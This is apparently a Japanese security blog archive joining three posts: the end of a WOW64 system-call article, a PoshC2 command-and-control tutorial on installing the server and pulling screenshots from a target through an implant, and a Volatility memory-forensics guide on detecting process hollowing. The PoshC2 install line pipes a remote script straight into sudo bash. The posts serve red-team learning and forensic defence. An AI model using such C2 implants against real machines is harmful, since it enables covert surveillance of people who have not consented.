WOW64上の32bitアプリケーションから64bitのOSカーネルへのシステムコール遷移を追ってみた.次回の記事ではWOW64フックコードの作成,並びにHeaven's Gateの実装に挑戦したい.
明日12/5はfutabatoによる「医用画像処理のためのMRI入門」です.ご期待ください.
以上.
参考
PoshC2を使ってみる
PoshC2を使ってみる
PoshC2とは
Python3ベースのオープンソースなC2フレームワークPoshC2を使ってみる.
PoshC2は次のような特徴を持つ.
- ビーコン,強制終了日,ユーザー情報など高度にカスタマイズされたペイロードの作成とターゲットへのロード
- C2プロキシ用にカスタマイズされたApacheサーバー
- C#やPowerShell,Python3などの選択可能なインプラント
- PoshC2を介したすべてのユーザー操作のロギング
- Docker利用による信頼性の高いクロスプラットフォーム性
なおPoshC2はいくつかバージョンがあり,以下にそれぞれをまとめておく.
Python3で書かれた最新のバージョン
- 現行の最新でありコミットも盛ん
- https://github.com/nettitude/PoshC2
PowerShell server-basedバージョン
- Python3版移行に伴って現在メンテナンスはされていないものの動きはする模様
- https://github.com/nettitude/PoshC2_old
Python2で書かれたOldバージョン
- リポジトリは既に存在せず,Python3版へリダイレクトされる
詳細についてはリポジトリのオーナーであるNetitudeのブログにて,PoshC2のバージョン情報が詳しく述べられている.
また各種インプラントの使用方法や実装について解説しており,ドキュメントと合わせて目を通しておくとよいだろう.
NettitudeによるPoshC2解説記事 labs.nettitude.com
公式ドキュメント poshc2.readthedocs.io
ここでは,Python3で書かれた最新のPoshC2を使用し,ターゲット端末のスクリーンショットを取得してみる.
PoshC2のインストール
KaliにPoshC2をインストールしてみる.
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash
posh-configコマンドで,PoshC2サーバーの設定を変更できる.
適当に調整したのはBindIP,PayloadCommsHostの2点.
PoshC2の使用
PoshC2はその使用にあたって2つの端末を使用する.
- PoshC2サーバー用端末
- インプラントハンドラ用端末
それぞれ立ち上げてみる.
posh-service
コマンドでPoshC2サーバーが起動する.
その後,posh
コマンドで立ち上がるインプラント操作用端末からターゲットを操作することになる.
なお,poshコマンドで求められるユーザー名はログ用のものであり任意なユーザー名を使用可能.
インプラントハンドラの使用
poshコマンド実行後,アクティブなインプラントのリストが画面上部に表示される.
インプラント番号を入力することで,特定インプラントへコマンドを送ることができる.
また,helpコマンドを発行することで現在使用可能なコマンドやモジュールのリストが表示される.
ターゲットホストのスクリーンショットを取得してみる
ターゲット端末のスクリーンショットを取得してみる.
適当なStagerをターゲット端末で実行し,サーバーとのコネクションを確立する.
インプラントハンドラからget-screenshotコマンドを発行.
サーバー側のログにダウンロード先のフォルダが表示されるので見てみるとpngが保存されたパスが表示される.
確かにスクリーンショットが取得できた.
以上.
参考
https://readthedocs.org/projects/poshc2/downloads/pdf/stable/
Volatilityを使ってみる
Volatilityを使ってみる
メモリフォレンジックフレームワークであるVolatilityを使ってみる.
Volatilityは現在Python3で記述されたものや,Windows上でスタンドアロンで動作するexe形式のものが配布されているが,この記事執筆時点ではプロファイルやコマンドの対応状況の点で,Python2製が最も充実しているようにみえる.
そのため,ここではPython2製のVolatilityを使用する.
Volatility使用にあたって不明点があれば,まず公式Wikiを確認することを推奨する.
Volatilityのインストール
GitHubからVolatilityをクローンする.
git clone https://github.com/volatilityfoundation/volatility.git
外部パッケージのインストール
Volatilityの使用前に,必要な外部パッケージをインストールしておく.
プロファイルの特定やプロセスリストの取得など使用頻度の高いコマンドがDistorm3を必要とするため,事前にpipでインストールしておく.
pip2 install distorm3
yarascanコマンドやlsadumpコマンドなどはまた別のパッケージを使用するため,必要に応じてインストールすること.
[2020/10/19 追記]
久しぶりにVolatilityをUbuntuにcloneして使おうとしたら,以下のようなインポートエラーが出てうまく動作しなかった.
これを解消するためのメモを残しておく.
最初にPython2系のpipを取ってくる.
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py python get-pip.py export PATH="$PATH:/home/<UserName>/.local/bin"
続いてリポジトリからVolatilityをcloneし,setup.pyを実行する.
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python setup.py build install
その後,pycryptoとdistorm3をインストールする.
sudo apt install gcc python2.7-dev pip install pycrypto pip install distorm3==3.4.4
以上.
[2020/10/19 追記ここまで]
Volatility Quick Start
メモリダンプを解析し始める前に,インストールしたVolatilityのプロファイルやコマンドの対応状況を確認しておくとよいだろう.
また,コマンドの一覧や詳細はWikiのCommand Referenceが助けになるだろう.
Volatilityを使ってみる
Volatilityのコマンドの基本的な使い方は以下である.
python vol.py [plugin] -f [image] --profile=[profile]
コマンド名,メモリダンプファイルのパス,プロファイルが必要になるが,このうちプロファイルを求めておく必要がある. ダンプファイルのプロファイルを求めるには以下のようにすればよい.
python vol.py -f [image] imageinfo
ただし,imageinfoコマンドは結果を得るまでにかなり時間がかかるため,事前にダンプファイルがどのOSのものでバージョンはいくつなのか把握しておいたほうがよいだろう.
以下は,適切なプロファイルを設定してプロセスリストを取得するpslistコマンドを試した様子.
ProcessHollowingの検出
もう少し実践的な使用方法をやってみる.
以前の記事で作成したProcessHollowingを行うプログラムを使って,Volatilityによる不正な活動の検出をやってみる.
ProcessHollowingを行うプログラムの動作概要は以下のようなものだった.
- ProcessHollowing.exeプロセスが,不正なコードの注入先となる子プロセスを作成
- 作成された子プロセスの外装は電卓プロセスだが,ProcessHollowingにより実際に動作するコードは ProcessHollowing.exeプロセスが注入したもの
- ProcessHollowing.exeプロセスは電卓プロセスに対して,メッセージボックスをポップアップする不正なコードを注入する
- 処理が正常に完了すると,不正なコードを模したメッセージボックスがポップアップする
以下は実際に,ProcessHollowingプロセスが電卓プロセスをHollowingし,不正なメッセージボックスが立ち上がっている様子.この状態でFTK Imagerを起動しメモリダンプを取る.
ProcessHollowingをVolatilityを使って検出する方法は大きく以下の3パターンが知られている.
- 不審な親子関係の検出
- PEBとVAD構造の比較による検出
- 不審なメモリ保護領域の検出
以下それぞれやってみる.
まずプロセスリストからgrepでProcessHollowing.exeプロセスを見つける.
この親子関係からProcessHollowing.exeプロセスがconhost.exe, cmd.exe, calc.exeプロセスのいずれか,または全てを不正な活動に利用している可能性がある.
不審な親子関係の発見は,SANSが公開しているポスターが参考になるだろう.
https://www.sans.org/security-resources/posters/dfir-find-evil/35/download
今回は,calc.exeプロセスがhollowing対象だと分かっており,恣意的ではあるが以降calc.exeプロセスを対象に話を進める.
calc.exeプロセスに対して,PEBとVADの差異からProcessHollowingの検出を試みる.
Volatilityのdlllistコマンドは,プロセスのPEBから,そのプロセスにロードされているモジュールのリストを読み取る.このモジュールにはDLLやそのプロセス自身のEXEも含まれる.
一方,ldrmodulesはカーネルのVADから,そのプロセスにロードされているモジュールのリストを出力する.
ProcessHollowingが行われた場合,この結果に差異がある. 今回の例でいえばcalc.exeのイメージパスがldrmodulesでは表示されなくなる. これはProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIによるものだ.
VADは,メモリマネージャが,あるプロセスのどの仮想アドレスが予約されどの仮想アドレスが予約されていないか追跡するために使用されるツリー構造のデータ構造体だ.
プロセスがアドレス領域を予約したり予約領域を削除した場合,メモリマネージャはVADのツリー構造を都度更新する.対してPEBのモジュールリストの更新はそれに対して比較的遅い.
ProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIにより,VADが更新されるためこのような結果になる.
たしかに,dlllistで表示されていた電卓のイメージパスが表示されておらず,ProcessHollowingの痕跡が見つかったといえる.
次に不審なメモリ領域の検出を試みる. malfindコマンドはVADやページ保護を検査し,不正に注入されたDLLやEXEを検出する.
実行ファイルの通常の実行において,DOSヘッダはPAGE_READONLYなメモリ属性を持つ.
malfindコマンドから得られた領域はPAGE_EXECUTE_READWRITEになっており,これは不審とみなしてよい.
hollowfindプラグインによる自動化
これら一連の処理を自動化してくれる便利なプラグインが公開されているため使ってみる.
公開されているリポジトリからクローンして,volatilityのpluginsディレクトリにコピーすればよい.
~/volatility$ git clone https://github.com/monnappa22/HollowFind.git
~/volatility$ cp HollowFind/hollowfind.py volatility/volatility/plugins/
以下は実際に使用してみた様子.
確かに検知できているようだ.
不審なプロセスや注入されたコードが,どういった処理をするのかはVolatilityからは分からない. 以降はプロセスをダンプしてIDAなどで解析する段階になる.
プロセスをダンプするにはprocdumpコマンドを使えばよい.
これをIDAに読み込ませると以下のように注入されたコードを見ることができる.
コマンド実行の自動化
Volatilityのコマンドはものによってはかなり時間を取られるものがある.
またgrepなどで不審な部分を探していくことになるのだが,そのたびに手動でコマンドを実行していては手間である.
そこで一度すべてのコマンドを実行してファイルとして保存しておき,これをgrepなどでみていくのが得策だ.
以下はそれをやってくれるシェルスクリプト.
# Full Credits to: Gabriel Pirjolescu # https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-2-detecting-execution-with-volatility-1a139b194bfc #!/usr/bin/env bash profile="Win10x64_18362" file="memdump.mem" cmds=( #processes "pslist" "psscan" "pstree" "pstotal" "psxview" #DLLs and handles "dlllist" "getsids" "handles" "filescan" "mutantscan" "cmdscan" "consoles" "scvscan" "cmdline" #network "connections" "connscan" "sockets" "sockscan" "netscan" ) echo "[+] File: $file" echo "[+] Profile: $profile" for i in "${cmds[@]}"; do echo "[+] Command: $i" vol.py --profile=$profile --output-file=$i -f $file $i done
以上.
参考
https://digital-forensics.sans.org/media/volatility-memory-forensics-cheat-sheet.pdf